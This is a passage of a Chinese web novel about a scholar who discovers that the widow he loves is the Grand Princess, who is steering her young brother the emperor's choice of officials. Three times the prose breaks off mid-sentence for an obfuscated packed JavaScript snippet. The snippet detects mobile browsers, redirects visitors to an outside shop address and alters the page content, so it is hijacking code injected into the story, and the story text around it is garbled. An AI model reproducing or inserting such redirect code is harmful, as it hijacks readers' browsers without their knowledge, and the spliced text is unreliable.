“主子爷难得这么开怀，奴才也跟一起高兴，——有些话说的不中听，还请主子爷恕罪……主子爷年轻，心眼好，但也要防着小人啊。” 他兢兢业业道：“长公主自是一心为您好，但殿下身边那些人呢！这看着是给了主子爷一颗糖，保不齐却是个下马威……” “行了，”萧启不耐烦地挥手，“大晚上的跟朕在这儿说单口相声呢？有那闲工夫把大明宫的恭桶都刷了吧。” “陛下……” “滚蛋！” 安远叹了一声，又磕了一个头，颤巍巍地走了。 萧启走回床前，猛地扯起明黄的被子。 “小德子。” “主子爷。” “你把这藏好，朕明天再吃。”他翻身上床，迅速钻进了明黄的茧子里 “是。” 安德小心把吃了一半的豌豆黄又放回碟子里，再将两个碟子放回食盒，看了一眼，又将那吃了一半的豌豆黄拿出来。 “不许偷吃！” “……” 安德又把那豌豆黄放了回去。 4. 考前思春是大忌 “前院的小沙弥跟我们说你受了伤在静养我还不信——” 一大清早，周易便带了陈碌来了灵岩寺，一见到榻上面色虚弱的薛行简，周易先吃了一惊。 一边按住二话不说就要替行简去寻仇的陈碌，一边还要忙着关心一下他的情况。 上上下下问了三遍，也只得到他一句带着笑意的“无碍”。 对于起因经过，被谁打，又是为谁而被打，只字不提，讳莫如深。 周易在他榻边蹲下，顺手摸过一个苹果削起来。 “你这脾气的竟然还能让人给打了？” “意外而已。” 一旁的陈碌眉头未展，“让我看看。” 周易立马解释：“他这从小舞刀弄枪的，外伤什么的门儿清——让他给你看看有没有什么要紧，包管比那些江湖郎中强上千倍百倍。” 这一不小心就要传出举子丑闻了…… 行简明白他们是怕他在京师没有依靠，被庸医误了性命，他结果周易递来的一盘苹果块，却不好解释，只得依言解开袍子。 陈碌瞥了一眼便移开了目光。 “——是会仁堂的张大夫给你看的伤，那就不必看了。” 陈碌抱胸在旁边的矮凳上坐下，“京师三十六家医馆，只有他一个人这样打绷带的结——看来伤你的人还有几分良心。” 那就不必去打断他的腿了，但是这句话他没有说出口。 行简垂着头，神色一时间有几分晦暗难明…… 周易眼疾手快地替他披上袍子，觑了觑他的神色道：“……昨儿朝里刚传出的消息，今年春闱的主考官定了。” 行简抬起头。 周易从桌上又摸起一个果子，“你猜是谁？” “谁？” “是陛下。” 好棋，他暗道。 “已经发了明旨，”周易啃下一口，“这两天估计就能见到邸报。你知道这意味着什么……我一个堂弟原本秋闱失利家里人还安慰说年纪小没什么，这消息一出来，我出门儿的时候还跟他娘哭呢。” 他一边啃着果子一边又去推陈碌：“这果子不错，你再帮我去拿俩。” 陈碌冷冷看了他一眼，却不由分说起身去了。 周易又多看了行简两眼，“这次会试，本就不比寻常，现在由陛下亲自主持，更是意义非凡。” 他把啃完的苹果核放回盘中，状若无意道：“你虽然还在养伤，但也不要把课业懈怠了，其余的便不如先放一放。” 行简挑眉，“其余的？” “对啊，”周易咽了口唾沫，眼神飘到了屋顶，“比如说什么男男女女情情爱爱啊啥啥的……” 行简眉峰一动，心下一哂，男女情爱？他现在已经如此落魄了吗…… 他没有说话，没有不承认也没有否认。 周易的眼神从房梁上落下来，看着他一脸心事重重的样子大大地叹了口气，“伤你的一定是个大美人吧。” 行简依旧没理他，原本模糊难辨的心绪结成一片乱麻，乱糟糟压在头顶，令人几欲爆炸。 周易一拍大腿，没话找话：“那难不成是你英雄救美？！” 薛行简直接扭头看向窗外。 成双成对的喜鹊欢心雀跃地落在枝头，在他们头顶是明媚得没有一丝阴翳的阳光。 周易越发不安起来，不由在内心疯狂后悔……交浅言深啊，你个大傻子！何况是最忌讳他人插手的男女情/事！ 唉……打你小嘴嘴打你小嘴嘴…… 就在他左右踌躇如何快速换个话题时，行简开口了：“京都的世家子弟，倒不同于地方，竟有许多是没有丫鬟仆从跟随的。” 周易顿时松了口气：“长公主恪行节俭，又在国子监提倡六艺，增加了乐御射的排课数。虽然仍有不少家族将仆从数量视作门面，但风气是比前朝的时候好多了。” 行简点点头，若有所思道：“家仆内务——应该都是由各府主母主持的吧。” 周易喝了口茶，平复下心绪：“没错，而且各府中以三家为大：一是何家，他们祖上原是太原的，是跟着圣祖皇帝打天下的开国元老；二是纪家，是世祖皇帝时平定西南叛乱的功臣，他们家虽然人丁单薄，但纪老将军父子俩常年手握重兵镇守西北，亦颇得长公主器重；三是郭家，他们家常年盘踞帝师之位，清名颇重，这次新上任的礼部尚书与他们家也是儿女亲家。” 行简听得认真，“那这京城之中，可以什么要紧的忌讳？” “忌讳……”周易皱眉，“……不要在阿碌面前提起长公主？” “……” *** 日影渐西，薄暮的暗影落在脚边，薛行简一个人倚在软枕上。 他隐隐记得，那天在山下，她抬手便召来数名壮汉……虽然年纪尚轻，却显而易见的掌权已久。 明面上却轻车简从，这样以为年少丧夫的女子……怎么可能在四九城里默默无闻…… 即便……她只是主母背后的实际掌权人，夫死改嫁天经地义，她的夫家怎么可能不被诟骂？如果没有诟骂，就一定要有一段感天动地的爱情传说，可是这一切，都没有…… 线索仿佛到这里，就断了…… 日光渐红，微凉的山风从支起的窗间溜入，行简抬手将窗户关上。 廊下又传来脚步声，门扉轻动，行简头也没抬，只当是周易：“果子在桌上。” 门扉轻轻合上，却没有传来他意想之中的声音。 薛行简不由回过头去，手中的书忽然被握紧。 来的不是周易，也不是别人，正是萧明玉！ 她从兜帽后抬起头，微微一笑，“果子就不消吃了，今日看你的脸色，倒是好多了。” 浅白的花瓣从她藏青色的披风上缓缓飘落，她走到他面前，仿佛琅嬛中走出的仙子。 行简看着她，一时没有开口。 明玉却似乎毫不介意他的失礼，将手中的木匣轻轻放下，便在矮凳上坐下。 行简立刻蹙了蹙眉，只觉怠慢了她。 明玉却没有半分嫌弃的样子，微微笑道：“那天的事，还没有向你道谢。” “些微小事，夫人不必挂怀。” 皮开肉绽，几可见骨—— 怎么能算是小事…… 想起张仲春为他诊断时说的话，明玉的脸色又黯了黯，但她很快便又打起笑容，“昨日我拜读了先生的《治安疏》，受益匪浅。” 她一指桌上的木匣，“这是前朝大儒顾维简批注的五经，今日我便将他们托给先生了。” 行简的目光从木匣又落回她身上，薄唇微抿，拒绝的意思却很明显。 明玉接着道：“先生才华冠盖，品行贵重。日后金榜题名，弘学释道，才不会令此书蒙尘……搁在我这里反而可惜了。” 薛行简眸光一闪，“夫人家学渊源又兼如此胸怀，实在令人钦佩。但君子不夺人所爱，何况这样的孤本……” 他的眼神恳切认真：“不知夫人可愿将此书借我，容我誊抄后再送还？” 明玉蹙眉，多年来的谨慎让她立刻起了戒备，“那不如我找人帮先生誊抄一份，如何？” “还请容小可亲自来，才能领悟其中真味，不负先贤所托。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956362|193136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他说的恳切中肯，明玉一时有些摸不准他的想法。 “书籍繁多，誊抄起来也非一日之功。我会分批将誊好的部分先寄存在观槿楼的蔡老板那里。” 他的声音平静如水，含着一分难以察觉的温柔。 明玉的心猛地一跳，他在试探她！ 她微微一笑：“何必假他人之手，便直接送回我府上吧。” 他对她突然的松口微微惊讶：“好。” 他的脸几乎完全的被日影笼罩，却偏偏一双眼里，碎开了片片金鳞。 明玉一愣——为他突然的好心情。 看着他沉稳面容下难掩的少年朝气，明玉鬼使神差道：“那天……为什么救我？” 行简有些有些意外，而明玉因这“意外”顿时红了脸，先前因他试探而起的恼怒也倏地被风吹散。 她正要开口将此抹平，薛行简忽然道：“不为什么。” 明玉惊讶地看着他，他侧着头，耳根微微翻红。 “我只是尽我所能，不希望你受到伤害。” 人间四月芳菲尽，山寺桃花始盛开。 暮春的风轻轻托着柔嫩的粉色花苞，昏黄的日光小心翼翼的将它抱在怀里。远处的枝头上立着归来的喜鹊，一声一声，响在人的心底。 明玉垂下眼睛，唇角却越抿越深。 她现在后悔走这一趟了…… *** 黄昏日斜，一驾与寻常商贾所用无异的马车悄然从西直门驶入城内。 青砖垒就的城墙上映着夕阳投下的辉色，车马身后是一片绚烂底色的天空。 马车里，明玉垂眸不语。 竟然有过一瞬间，她就要与他摊牌，可是…… 寒碧替她将披风的褶皱理平，轻声道：“薛先生出身寒门，即便尚主也不会对陛下构成威胁。想来仕途上陛下也不会多加难为，殿下何苦……” “你不明白，”明玉看着眼前不停跳动的帘幕，“他不是一心渔樵江渚的寒门，他的抱负和才华都让他注定位极人臣……” 她笑了一下，“若我只是个普通的公主，启儿或许能容他，可偏偏……” “可是，或许……” 或许薛先生可以不要位极人臣呢…… “没有或许。” 明玉猛地打断她，语气中的肯定令寒碧瞬间噤声。 “他将是启儿最好的臂膀。” 她目光坚毅，不容置疑。 至于她自己，不过是他人生里一个不足为提的过客——史书里不会有只言片语，记忆里也面容模糊的一个过客…… *** 月出东边，薛行简轻轻抚过厚重的书册，视线再一次不经意的扫过门口她离开的方向。 为什么？ 她问他为什么救她——他也这样问过自己。 他可以推开她，绊倒她，拉住她……却偏偏选了让自己伤害最大的方式…… 为什么呢？ 行简低下头，看着自己的影子落在精装的书封上，如同雪地上投下的暗影。 他心里知道答案，因为不愿意。 哪怕只是千分之一的可能，他也不愿她受到一点伤害。 就算是被鞭风伤到皮肤……他也不愿意。 指尖摩挲过微微泛起毛边的侧页，这本书，一定是她珍之爱之的珍品，她却舍得用来斩断他和她的关系。 不知道他该不该为此庆幸…… 然而，也是直到她再次出现在他面前的那一刻，他才发现，虽然他一直很想直到她究竟是谁…… 但是她是谁，根本不重要…… 5. 明日黄花 距离会试结束，已经过去了三天。 四九城内，车马萧萧，早市的叫卖声一直传出三条巷子。 薛行简换了身青衣直缀，怀里抱着书稿按照她留下的地址一路走到城西的杏花巷。 那是一栋并不起眼的宅子，默默地隐在巷尾。 门很快打开，面容和蔼的福叔把他让进门，“先生请进。” 行简弯了弯腰，“我来向夫人还书。” “夫人早吩咐过了，”福叔笑道，“先生把书给我便是。” 行简捧着书的手一顿，眼底的光顿时暗了几分，“夫人恩重，可否容我亲自向夫人致谢？” 对方笑容不变，“夫人不在——若先生不弃，可到屋内饮杯热茶。” 他立刻明白，她不想见他。 “多谢老先生，”他低头笑得有些勉强，却仍旧足够得体，“晚生便不多扰了。” 行简转身离开，福叔看着他的背影，关上了大门。 此时春光正好，梁上燕子更是成双结对地飞过。 薛行简从巷中走出的时候，却只觉得如同身处数九寒天。 太阳越升越高，直刺刺地落在身上。 行简混入车水马龙的人潮里，脑海里闪过无数念头。 每一步他都揣摩过无数次，无论是题名高中，还是将来的仕途…… 不管是她夫家逼迫还是娘家威胁，他都想了无数应对的方法…… 唯独……他嘴里阵阵发苦，心底的酸涩泛上喉头，唯独没有算过…… 所以这其实都是他的自作多情吗…… 挫败感裹挟着他穿过人群，脚步越来越慢，行简捏了捏眉心，自嘲一笑，是他自己二十年来自视太高，想来她在京中，又什么样的男子没见过呢？ 左右不过是碰了个软钉子，那里就这样自怨自怜起来了。 想到这里，脚下也顿时轻快了起来，就在这时，一个一身蓝衣的女子正从他面前的马车上款款而下。 薛行简猛地一怔，瞳孔顿时一缩。 即便只是一个背影，他还是立刻认出了她。 他上前一步，声音微哑：“夫人。” 明玉惊讶地回头，见到是他，心底的惊讶顿时更甚，面上却恢复了一贯的微笑，“原来是先生。” 行简对她拱手一礼。 明玉回了他半礼，“看来先生的伤，已经大好了。” “劳夫人挂念，晚生已经无碍了，”他不由侧头瞥了眼一旁惠仁堂的匾额，“夫人此来……是贵体……” 不等他说完，便有一个管事满脸堆笑地从屋里跑出来，“夫人怎么还亲自来！” 他点头哈腰地挤到行简面前，“吩咐一声，小人给送去便是了。” “咳咳咳！”屋内立时传来一阵猛咳。 林管事不由抖了抖。 明玉看着屋内的方向失笑：“我恰好顺路，你们馆里一向事多人少的，何必麻烦。林总管快进去吧，我这就走了。” “哎哎，”林管事脸上堆起能夹住芝麻的笑褶，“夫人您太客气了，不过还容小的多句嘴。老爷让小的转告，这药啊，再灵也只能缓解身体上的病痛，这种事儿最重要的还是夫妻二人情投意合！两心相许！琴瑟和……” “咳咳，”寒碧笑着上前，“张大夫的意思我们夫人都明白——那里面正找您呢，您快去吧。” “哎哎。”林管事笑着点点头，转身进去了。 明玉道：“先生也是来抓药吗？” 她若无其事的样子，仿佛没有丝毫隐晦。 行简摇摇头，同样不动声色，“夫人是替人求药吗？” “怎么，”明玉侧了侧头，“先生也想要吗？” “有点。” 他答的认真，倒唬得明玉一愣。 他的眼睛仿佛平静海面上的圆月，明亮异常。 “怀瑾才疏识浅，也知道人世间最难求的是心有灵犀，两情相悦。夫人人美心善，自然会心想事成的。” 明玉失笑，“你知道我心里想什么？” 行简又作了一揖，“不敢，是祝愿夫人的朋友能两心互许，琴瑟和鸣。” 明玉瞥他一眼，没有反驳，“那就借先生吉言。” 说着，已有离去之意。 行简道：“书稿的事，怀瑾还不曾向夫人致谢。” “书稿是我谢先生，”明玉道，“先生不必挂怀。” “夫人的谢我已经承过，一码归一码，书稿的事该我谢夫人。” 明玉眉峰一挑，立时便挑起三分英气和不容分说的威严。 行简心底一动，面上却更加坚持。 短暂的沉默后，明玉低头一笑，“那就依先生。” 说罢，她攀着侍女的手转身登上马车。 直到马车消失在街巷尽头，行简握在手中的手才微微松开。 *** 大明宫中。 明玉走进宣室，所有仆从垂首行礼。 听到她的脚步声，萧启从案后抬起头，“阿姐！” 明玉笑着在他对面坐下，“三甲都点好了？” 萧启笑着点头，将卷宗递给她，“阿姐瞧瞧。” 空气中沉香的味道淡而不博，明玉接过文卷，目光状若无意地在头甲的名字上多停留了两秒。 萧启立刻搓着手凑近：“郑冲也举荐他的文章，十九岁中举，却在江州那个小地方做了五年的教谕，可见沉稳，堪为相才。” “那陛下打算授他什么官职？”明玉移开了目光。 萧启微一沉吟，说出早就准备好的答案：“授左谏议如何？” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956363|193136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >明玉侧头看他，那双闪闪发光的眼睛里，尽是对江山前程的雄心壮志。 她不由再次庆幸自己的选择，心底对薛行简的感激也又读了一层。 “破格授五品，陛下要他做孤臣？” 萧启的脸顿时皱了皱。 明玉眉头一皱，似同样颇为苦恼，“孤臣不可为相，或许启儿是有别的想法？” 萧启眼底的火焰顿时熄了一半，片刻后，他垂头道：“那……授左拾遗？” “你不是很欣赏他？”明玉看着霜打茄子般的弟弟，“让他兼天子侍读，用他的沉稳来熏陶熏陶你，如何？” 萧启没有说好，也没有说不好。 良久好，他才抬起头，“阿姐，我是不是太冒进了？” 明玉对他笑笑：“前朝皇帝创科举之制，是为何？” “削弱世家，以强帝权。” 她笑着点头：“那这样的人才，世家会不想笼络吗？他出身寒门，骤然担你这么大的封赏，不知要多多少陷害——搞不好最后连他也要怨你，到时候你煮熟的鸭子就要飞到世家的盘子里了。” “那……” “太宗曾言‘天下英雄竞入吾榖中矣’，你是天子，天下士林都是你的门生，笼住了他们的人还要笼住他们的心。而读书人的心……”她的眼神陡然莫测了几分，“便如闺阁女儿一般，远而生怨，近则不逊。 “适当表扬优秀的姑娘可以激励后面的人，但过分的嘉奖却会令整个士林对你生怨。” 萧启点点头，半晌后，他以朱笔重新将前三甲的名字圈住，“分入门下中书尚书三省，兼天子侍读，赐——”朱红的墨迹落在头甲的名字上，他抬头看向明玉，“——宫中行走。” 明玉的眼神漫不经心的从“薛行简”三个字上划过，唇角在茶杯后不经意的勾起。 “嗯。” *** 日过午时，公主府的车驾从东华门驶出皇城。 马蹄声迟缓的节奏仿佛在催人入眠，明玉半阖着眼，靠在软枕上。 寒碧轻声道：“既然陛下与殿下心意相通，都属意这位薛先生，殿下便多青睐薛先生几分，想来陛下也不会介怀的。” “你不明白，”明玉低声道，“放榜前一天召我入宫，是做给外面看——也是试探。那张名单上的任何人，只要跟公主府……牵扯不清，启儿对我的戒备都只会更深……他的前程也会因我而搁浅。” “可……” “以后都不要再提了。” “……是。” 凉风透过窗隙拂在脸上，明玉睁开眼，望着窗外的一点春光。 “他会是启儿最好的臂助，或许……还会是大周未来的相国……” 不像她，只能是明日黄花。 再见面，便是了断的时候了…… 6. 再遇 三月廿三，晴光正好。 高大的宫门前，书生武生们，三五成群。 所有人都不约而同的围着此次的榜眼——户部尚书的嫡孙何吉。 凑在最前面的不肯让，被挤在外面的却也不甘放弃。 不远处，周易一边摇扇，一边啧啧道：“真是世风日下。” 薛行简望着街道远处，没答他的话。 周易觑了眼他的神色，道：“如今是只公布了名次，等琼林宴上陛下亲授了官职，只怕又是另一副光景了。” 薛行简漫不经心地点点头，表示他说的对。 周易扇子一手，用肘尖拱了拱他，“知道你情场失意——今儿咱们从这门儿进去，再出来保准悔死她！” 至此，薛行简终于看了他一眼。 可那一眼，却看得周易更是心惊。 仿佛大雨冲刷后的枯木，陈年荒废的古井。 他忽然想起来，放榜的第二天，他带着陈碌约他一起出来喝酒庆祝。 本是喜事，大家自然劝酒得频繁，所以直等到薛行简来者不拒，一声不吭地灌到第三缸，他跟陈碌才有几分后知后觉…… 陈碌一把抢下他的酒，他连忙拉住他问发生了什么。 当时，他就是这么看着他的。 那井底仿佛是个无底洞，压抑着爆裂的情绪。 周易看着他，心底瞬间就有了答案，“天、天涯何处无芳草啊……” 陈碌一脸吃惊地看着他，而薛行简仍是只字未发，他默默地转开了头，一开口却是风马牛不相及的话题。 他和陈碌立刻明白，他在保护对方。 一如此时，薛行简仍旧没接他的话，而是抬头望向朱红巍峨的宫门。 后悔？ 她怎么会后悔呢？ *** 那天，她就坐在他触手可及的位置，却第一次让他觉得那么遥远…… 午后的阳光温暖而明亮，他却感觉不到丝毫暖意。 “为什么？” 明玉轻轻叹息，“外子生前待我甚厚，我不能负他。” 行简笑了一声，“你骗我，为什么？” 窗外炽烈的阳光照得窗户透亮，远远地传来吹锣打鼓的喜悦声，与沉默的室内彷如两个世界。 忽然，扣门的声音笃笃地响起，官差报喜的声音从门外传来。 “薛相公是在此吗？小的们来给状元爷贺喜了！” 明玉举起面前已经凉透了的清茶，“先生前程似锦，非我能攀也，先生的厚爱，我会记在心里。愿先生他日功成名就，得成所愿。” 他却如坠冰窟。 “咚——”宫门忽然打开。 所有人纷纷回头。 在不断扩大的缝隙里，仿佛位于地平线的殿宇被不断展开，遥远而渺小。 安德领着内监们鱼贯而出，微微笑道：“诸位大人们，请吧。” 周易低声道：“这是陛下身边的内监总管，自幼陪伴在陛下身边，绝对的红人。” 薛行简颔首，周易又道：“一会儿你跟陈碌一块儿坐，你可看着他点！”说着又对他挤眉弄眼了一番。 身后气温骤降，薛行简面不改色的点头。 他猜这个看着也是对陈碌说的。 *** 琼林苑里，桃花粉嫩，梨花盈白，正是一片芳菲灿烂。 一眼望去，一班肚大腰圆的中年老头们正百无聊赖的坐在宴席的一侧，等安德领着一班年轻俊美的新科士子们入戏，顿时精神抖擞的挺直了腰板。 按着规矩，文科与武科交错排座。 坐在上首兼礼部尚书的太傅郑冲一边捻着胡须，一边微笑着打量对面的薛行简，不由越看越满意。 下面不知事的黄头小儿不懂得，他却早便得到消息，今科进士里，小皇帝最中意的便是他。 想到薛行简出身寒门，关系简单，郑冲更加满意了。 只不过这个年纪的，只怕早有婚配，倒是有些麻烦。 郑冲直接忽略了旁边平南侯的二公子，“薛小郎远行赴京，家中可还安好？” 陈碌诧异地看了老头一眼，他还以为郑冲要说：“薛小郎你娶妻了吗？介意再娶一个吗？” 薛行简不动声色：“劳太傅关怀，一切都好，临行前托了村中长老看顾，前日还带了信来。” 他面上是恰到好处的笑意，郑冲却看出他骨子里的冷淡。 郑冲捻须点头，年轻人有傲骨是好事，这样不骄不躁有底线人，才更值得托付。 他笑眯眯道：“圣祖以孝治天下，薛小郎荣登恩科，前途无量。正是该把长辈接入京城享福的时候，若是有什么不便的地方，只管与老夫讲。” 薛行简眼眸微敛，面上愈发恭敬，他举杯以学生礼敬了郑冲一盏茶，“太傅厚爱，怀瑾唯死生报效朝廷，以报太傅为国揽才之心。” 陈碌连忙别过头，以掩饰想要狂笑的冲动。 陈郑两家一向不对付，郑冲骂他爹是化外北夷，他爹骂郑冲虚伪南蛮，郑冲嘲笑他爹头大无脑，他爹反击郑冲脸大心小。 今日难得能见郑冲吃瘪，回去告诉他爹，定然要把薛行简奉为知己。 武将之中，郑冲唯一看得上的就是儒将纪家，可惜他闺女晚生了十年，纪家的独苗纪廷和已经在边关吹了十三年的风。 十三年前，长公主下嫁他哥哥陈渭，纪廷和就此远走边疆了，十三年了，只回过一次京城。 恰在此时，太监的唱喏声忽然响起： “皇上驾到——长公主到——” 众臣纷纷起身下拜，“臣等恭迎陛下圣安——长公主千岁——” 薛行简跪在最前面，听到脚步声从身后靠近，明黄的袍服和绛色的裙角依次从他眼前晃。 一个仍有几分稚气的少年声音从头顶响起：“众卿平身。” 众人依次起身落座。 行简安静垂首，他并不是很好奇皇帝的长相，更因为对面的郑冲，甚至于有些厌烦。 那仿佛在打量一件待价而沽的商品的目光，他并不陌生，也正因如此，更掀起了他心底的厌恶。 “太傅今儿看着倒是好精神。” 行简忽然一怔。 那是一道柔美而不失威严的声音。 却与记忆里的殊途同归。 一时间，整个世界忽然安静了。 群臣的低语声，树梢鸟雀的啁啾声都不见了 万籁俱寂中，他好像听见她笑了一声。那笑里有几分道貌岸然的兴味，还有几分熟悉的戏谑…… 那一瞬间，他竟然没敢抬头。 明玉的目光不动声色的从他僵硬地抓着茶杯的手上滑过，心底却不可抑制地有些叹息。 一旁的萧启却从天没亮便兴致勃勃：“薛卿。” 薛行简僵硬的抬起头，皇帝年轻的脸庞正冲着他微笑。 “朕听说爱卿从江州来，江州物产丰饶，鱼米之乡，想来该有许多有趣的风土人情吧。” 薛行简抿唇颔首，“江南风物，确与京都多有不同，平民百姓多食米粉，陛下若有兴趣，臣改日可请陛下一试。 “薛卿会做米粉？”皇帝顿时眼睛一亮。 薛行简的表情微微放松下来，“臣幼时全靠祖母做米粉为生，后来祖母年迈，臣便替祖母操持过几年。” 皇帝脸上的兴味更深，郑冲脸上的热切却淡了几分，虽然他看起来倒确实没有妻室。 “薛卿如此能干，以后可要在宫中多加走动。”皇帝兴冲冲道。 他正要点头称是，却见萧启忽然又转了头道：“阿姐，你说是不是？” 到此时，明玉才真正看了他一眼——仿佛到此时才注意到他一般。 “薛大人文章练达，”她双眼含笑，一如那天祝他前程似锦时一般，“又与陛下年纪相近，多亲近些，也是好的。” 而后，她话锋一转，又对着郑冲道：“陛下年少，兼听则明，太傅跟老臣们也该多费费心呐。” 郑冲连忙称是。 薛行简终于放开了僵握着茶杯的手，他敛眉藏起所有的情绪，真相竟然是这样…… 她岂是京城默默无闻的孀妇，正是因为人尽皆知，才会人皆不言…… 夫人，陈夫人，竟然他身边友人的长嫂…… 一瞬间，所有的不甘、怨怼、怀疑都烟消云散了。 他甚至自嘲，为什么从来没有怀疑过这个可能…… 什么乱七八糟的情根深种，还有所谓的前程似锦，所有的借口终于都有了理由。 那个在脑海中不停回响的声音终于安静了，桃花从树梢飘落，春风落在心底，所有的一切都明朗起来。 宴席很快结束，直到恭送皇帝与长公主离开，众臣才依次散去。 周易一马当先，絮絮叨叨跟陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956364|193136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碌道：“你今天竟然没跟郑老头顶嘴！” 陈碌翻了个白眼，“那是你没看见他今天被怀瑾堵得多难看。” “这么勇吗？”周易捏着扇柄口沫横飞，陈碌脸色又冷了几分，他嫌弃地糊了一把脸，“不信你自己问行——” 一直不紧不慢走在他们身后的行简，此时如入无人之境，直接从二人中间走了过去。 周易看向陈碌，满眼质问：他怎么了？发生什么了？ 陈碌皱眉回想，“好像就是皇上说要吃他做的米粉。” “迷啥？” 陈碌冷峻地看了他一眼，满眼都是嫌弃。 周易正要找他算账，一个挑衅的声音忽然从身后传来： “这不是平南侯的二公子吗？失敬失敬。” 二人齐齐回头，却见来着不是别人，正是平日里一贯不对付的户部主事小儿子王自中。 不等二人开口，王自中身旁的人噗嗤一笑，“诶，王兄，人家现在是细柳军虎贲营的士——兵——了。” “可不是，真是恭喜武状元了！” 陈碌面色顿寒，袖中拳头铮铮作响，眼见下一秒便要“血溅当场，周易连忙一把扯住他，却不等他开口，一道温和的声音忽然从背后响起： “那行简便替阿碌谢过几位了，也祝几位早日混到八品以上的官职。” 不知何时，原本“神游天外”的薛行简，竟如神兵天降，突然出现在了他们身后。 *** 日近黄昏，鸿雁归巢，梨花巷的酒肆里坐着三人对面饮酒。 陈碌已经喝的烂醉，却还硬撑着磕磕巴巴道：“你今天得了官职，又被御赐宫中行走，本、本该帮你好好、好好庆祝的……嗝……” 话没说完，人先一头栽倒了桌子底下。 周易眼疾手快，一边把陈碌揪到桌子上，一边道：“你别跟他见怪，”说着，他这口气憋了十年了，就等着今天要扬眉吐气一把，没想到……殿下给他安排了这么个职位……” 行简笑了笑，“都喝过两次酒了，还那么见外？” 闻言，周易也是朗声一笑，“是是是，倒是我这个山人多见怪了。” 两人又饮过一轮，周易才缓缓道：“阿碌的哥哥——也就是驸马，自从驸马故去之后，殿下便一直有意压制陈家，这次也……” 行简打断他：“可我听说，细柳军曾是我朝最精锐的部队。” 即便现在也仅次于远在边关的纪家军而已。 周易点头。 薛行简接着道：“而虎贲营是细柳军最核心的组成。”他举起面前的酒杯晃了晃。 “唔……” 行简晃了晃就被，“而且，已经近十年不曾在世家中招过人了。” 周易扇子啪地合上。 行简独自喝下这杯酒。 周易忽然惊讶地看向他：“你怎么知道的？” 还那么清楚…… 行简云淡风轻地看了他一眼，仿佛他问了一个三岁孩子才会问的问题，“我在观槿楼喝了三个月的茶。” “啊？哦……” 行简笑了笑，状若无意道：“驸马之前跟殿下关系很好吧。” “驸马？”周易愣了愣，旋即反应过来他说的是陈渭，他微一沉吟，“说不上多好，但也说不上不好。” 行简静静看着他。 周易将扇柄撑着掌下，“没有话本子里举案齐眉那么好，但也绝不是怨偶。 “长公主儿时，因为宫中子嗣匮乏，世家都被要求年龄合适的小孩去宫中伴读，驸马与殿下再差也是一起长大的情谊，而且……”他忽然神秘地凑近他，“这事儿虽然这几年少人提起了，但几个世家的族长都晓得，当年殿下放弃了文武双全品貌一流的纪少将军，选择了当时每日斗鸡走狗的……驸马，这多少……也是有情分的嘛！” 行简眸色一深，面上却仍是不动声色。 十六岁，她就已经觉得自己是明日黄花了吗…… 他笑了一下，看的周易一愣，“这样的情分还不算举案齐眉吗？” “那是你不知道当年殿下和驸马，在清风楼为着个小倌儿大打出手……呃，还输了。” 他随手端起酒杯，清醇的酒香无声在鼻间蔓延端，“断袖？” “……你怎么又知道？” 行简笑而不语。 不然呢，不然——她怎么会输？ 7. 一起用膳 深夜凄静，总是容易唤醒白日的记忆。 明玉起身给自己倒了杯茶，本是想浅饮一口便回床上继续入眠，却鬼使神差地坐了下来。 白日里的画面仿佛走马灯一般在眼前一幕幕闪过。 踏入琼林苑的第一眼她便看见他了。 他和所有的新科进士们穿着一样的青袍，一样的进士冠，只是身形又清减了几分……萧启挨着她低声道：“姐，今年的状元比探花好看。” 她借机一本正经地看了他一眼，随意的“嗯”了一声，算是回答。 岂止是好看，连声音也很好听。 翠微曾问她，为何不直接挑明身份，让他晓得其中的利害——或许他自己便知难而退了，不然今日一见，误会只怕更深，若日后当真为相，也会对她心怀芥蒂。 那时候，她答得肯定，“他没有那么狭隘。” 翠微不解：“那就更没有隐瞒身份的必要了不是吗？” 她有些好笑的单手撑腮望着她，正要开口，寒碧挑了帘子进来，直接道：“你怎么这么愣啊，薛先生认识的是夫人，拒绝先生的自然也得是夫人，而日后要与薛先生在朝堂共事的——是殿下。” 翠微皱眉看她：“有区别？” 寒碧气得鼓了脸。 明玉失笑，区别？也没什么区别……不过是小女儿家一点矫情的坚持，说出来惹人发笑，但她还是没有向他坦白身份的勇气，至少那时候没有…… 她害怕会从那双眼睛里看到厌恶，看到疏远…… 那是陈夫人和薛先生最后一次见面了，她不愿冒任何风险去破坏它。 明玉在萧启旁边坐下。 郑冲今天的兴致似乎格外好，寒暄时的废话也格外多。明玉心下一动，想起郑冲有个今年及笄的女儿，立刻了然。 然而不过片刻，当薛行简提及自己曾贩卖米粉为业时，他眼底的热切却突然冷淡了许多。 明玉心底哂笑，如果不是郭守义死得突然，怎么轮得到他做太傅。 